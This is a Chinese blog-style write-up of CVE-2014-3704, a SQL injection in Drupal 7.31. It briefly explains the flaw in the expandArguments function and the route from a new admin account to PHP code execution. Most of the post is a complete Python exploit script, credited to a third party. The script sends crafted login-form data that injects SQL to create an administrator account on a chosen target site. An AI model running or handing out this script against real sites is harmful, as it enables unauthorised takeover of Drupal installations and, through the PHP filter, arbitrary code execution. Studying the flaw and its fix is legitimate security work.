最近因为一些事情的需要，就学习了一下CVE-2014-3704漏洞，这个漏洞是cms drupal 7.31版本披露出来的，是个比较古老的漏洞了，本着学习的目的就对这个漏洞进行了分析和复现。
该漏洞可直接在数据库中创建管理员账户，然后以管理员身份登录后：
-
开启PHP filter功能；
-
设置php code编辑内容，保证超级管理员可以使用该模式，并且可以解析php代码；
-
利用php code模式添加文章。
而后访问该文章就会执行php代码。
cms源码下载：http://ftp.drupal.org/files/projects/drupal-7.31.zip
由于expandArguments函数没有对当前数组中key值进行有效的过滤，给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。包含漏洞的代码:
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}
// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);
// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
附上某位大佬EXP
#!/usr/bin/python
#
#
# Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
#
# Tested on Drupal 7.31 with BackBox 3.x
#
# This material is intended for educational
# purposes only and the author can not be held liable for
# any kind of damages done whatsoever to your machine,
# or damages caused by some other,creative application of this material.
# In any case you disagree with the above statement,stop here.
import hashlib, urllib2, optparse, random, sys
# START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.
class DrupalHash:
def __init__(self, stored_hash, password):
self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
self.last_hash = self.rehash(stored_hash, password)
def get_hash(self):
return self.last_hash
def password_get_count_log2(self, setting):
return self.itoa64.index(setting[3])
def password_crypt(self, algo, password, setting):
setting = setting[0:12]
if setting[0] != '$' or setting[2] != '$':
return False
count_log2 = self.password_get_count_log2(setting)
salt = setting[4:12]
if len(salt) < 8:
return False
count = 1 << count_log2
if algo == 'md5':
hash_func = hashlib.md5
elif algo == 'sha512':
hash_func = hashlib.sha512
else:
return False
hash_str = hash_func(salt + password).digest()
for c in range(count):
hash_str = hash_func(hash_str + password).digest()
output = setting + self.custom64(hash_str)
return output
def custom64(self, string, count = 0):
if count == 0:
count = len(string)
output = ''
i = 0
itoa64 = self.itoa64
while 1:
value = ord(string[i])
i += 1
output += itoa64[value & 0x3f]
if i < count:
value |= ord(string[i]) << 8
output += itoa64[(value >> 6) & 0x3f]
if i >= count:
break
i += 1
if i < count:
value |= ord(string[i]) << 16
output += itoa64[(value >> 12) & 0x3f]
if i >= count:
break
i += 1
output += itoa64[(value >> 18) & 0x3f]
if i >= count:
break
return output
def rehash(self, stored_hash, password):
# Drupal 6 compatibility
if len(stored_hash) == 32 and stored_hash.find('$') == -1:
return hashlib.md5(password).hexdigest()
# Drupal 7
if stored_hash[0:2] == 'U$':
stored_hash = stored_hash[1:]
password = hashlib.md5(password).hexdigest()
hash_type = stored_hash[0:3]
if hash_type == '$S$':
hash_str = self.password_crypt('sha512', password, stored_hash)
elif hash_type == '$H$' or hash_type == '$P$':
hash_str = self.password_crypt('md5', password, stored_hash)
else:
hash_str = False
return hash_str
# END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
def randomAgentGen():
userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
UA = random.choice(userAgent)
return UA
def urldrupal(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
# Page login
url = url+'/?q=node&destination=node'
return url
banner = """
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')
commandList.add_option('-t', '--target',
action="store",
help="Insert URL: http[s]://www.victim.com",
)
commandList.add_option('-u', '--username',
action="store",
help="Insert username",
)
commandList.add_option('-p', '--pwd',
action="store",
help="Insert password",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target or not options.username or not options.pwd:
print(banner)
print
commandList.print_help()
sys.exit(1)
print(banner)
host = options.target
user = options.username
password = options.pwd
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = urldrupal(host)
# Add new user:
# insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
#
# Set administrator permission (rid = 3):
# insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
#
post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"
UA = randomAgentGen()
try:
req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA })
content = urllib2.urlopen(req).read()
if "mb_strlen() expects parameter 1" in content:
print "[!] VULNERABLE!"
print
print "[!] Administrator user created!"
print
print "[*] Login: "+str(user)
print "[*] Pass: "+str(password)
print "[*] Url: "+str(target)
else:
print "[X] NOT Vulnerable :("
except urllib2.HTTPError as e:
print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")"
except urllib2.URLError as e:
print "[X] Connection error: "+str(e.reason)
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